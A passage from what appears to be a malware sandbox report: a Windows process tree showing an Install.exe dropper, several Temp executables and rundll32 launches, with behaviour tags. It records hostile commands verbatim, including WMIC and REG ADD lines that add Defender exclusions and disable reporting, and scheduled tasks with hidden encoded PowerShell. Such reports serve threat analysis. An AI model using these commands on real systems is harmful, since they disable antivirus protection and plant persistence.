                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6392 -ip 6392
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:6324
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 600 -p 5300 -ip 5300
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:3748
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 612 -p 3480 -ip 3480
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:4736
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 5856 -ip 5856
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:1108
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                  PID:5520
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:6300
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSFF1B.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                    .\Install.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:7576
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS49A.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                        .\Install.exe /S /site_id "668658"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                        PID:7928
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:6888
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:3512
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                    PID:1912
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                      powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                        PID:5216
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                            PID:5920
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:6176
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                            PID:6860
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                              powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                PID:6844
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5196
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:5068
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                    PID:6560
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                      powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                        PID:6528
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5492
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                      PID:1956
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                          PID:3024
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                            powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5672
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6636
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5228
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1528
                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4088
                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3776
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                  PID:2376
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:7792
                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4352
                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6388
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "gYgppmcHV" /SC once /ST 06:16:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                        PID:2964
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "bEwGusBEGbIeKSSfjR" /SC once /ST 14:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\WpiDAvg.exe\" XY /site_id 668658 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                        PID:6216
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\D25.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\D25.exe
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                    PID:8104
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\D25.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\D25.exe
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                      PID:6088
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -pss -s 400 -p 1104 -ip 1104
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                    PID:7524
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2EA8.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2EA8.exe
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                    PID:5236
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2EA8.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2EA8.exe
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5480
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 7532 -ip 7532
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                      PID:1416
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\5EC2.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\5EC2.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                      PID:4424
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7C9B.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7C9B.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                      PID:5996
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1660 -ip 1660
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                      PID:7312
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 7468 -ip 7468
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                      PID:7588
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                      PID:7160
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                        PID:4988
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 452
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                          PID:3988
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4988 -ip 4988
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                      PID:1392
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8CF.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\8CF.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:7340
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 260
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                          PID:5148
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 6348 -ip 6348
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                        PID:2232
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\12D2.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\12D2.exe
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4376
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\12D2.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\12D2.exe"
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:7604
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 7340 -ip 7340
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                            PID:2800
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -pss -s 560 -p 1064 -ip 1064
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:6640
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6212
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6E03.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\6E03.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                PID:7992
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\6E03.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\6E03.exe
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:7336
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\86CC.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\86CC.exe
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:7360
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 256
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                      PID:1452
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8B90.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8B90.exe
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                    PID:7104
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8B90.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\8B90.exe"
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5388
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 7104 -s 1068
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                        PID:6808
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\9584.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\9584.exe
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
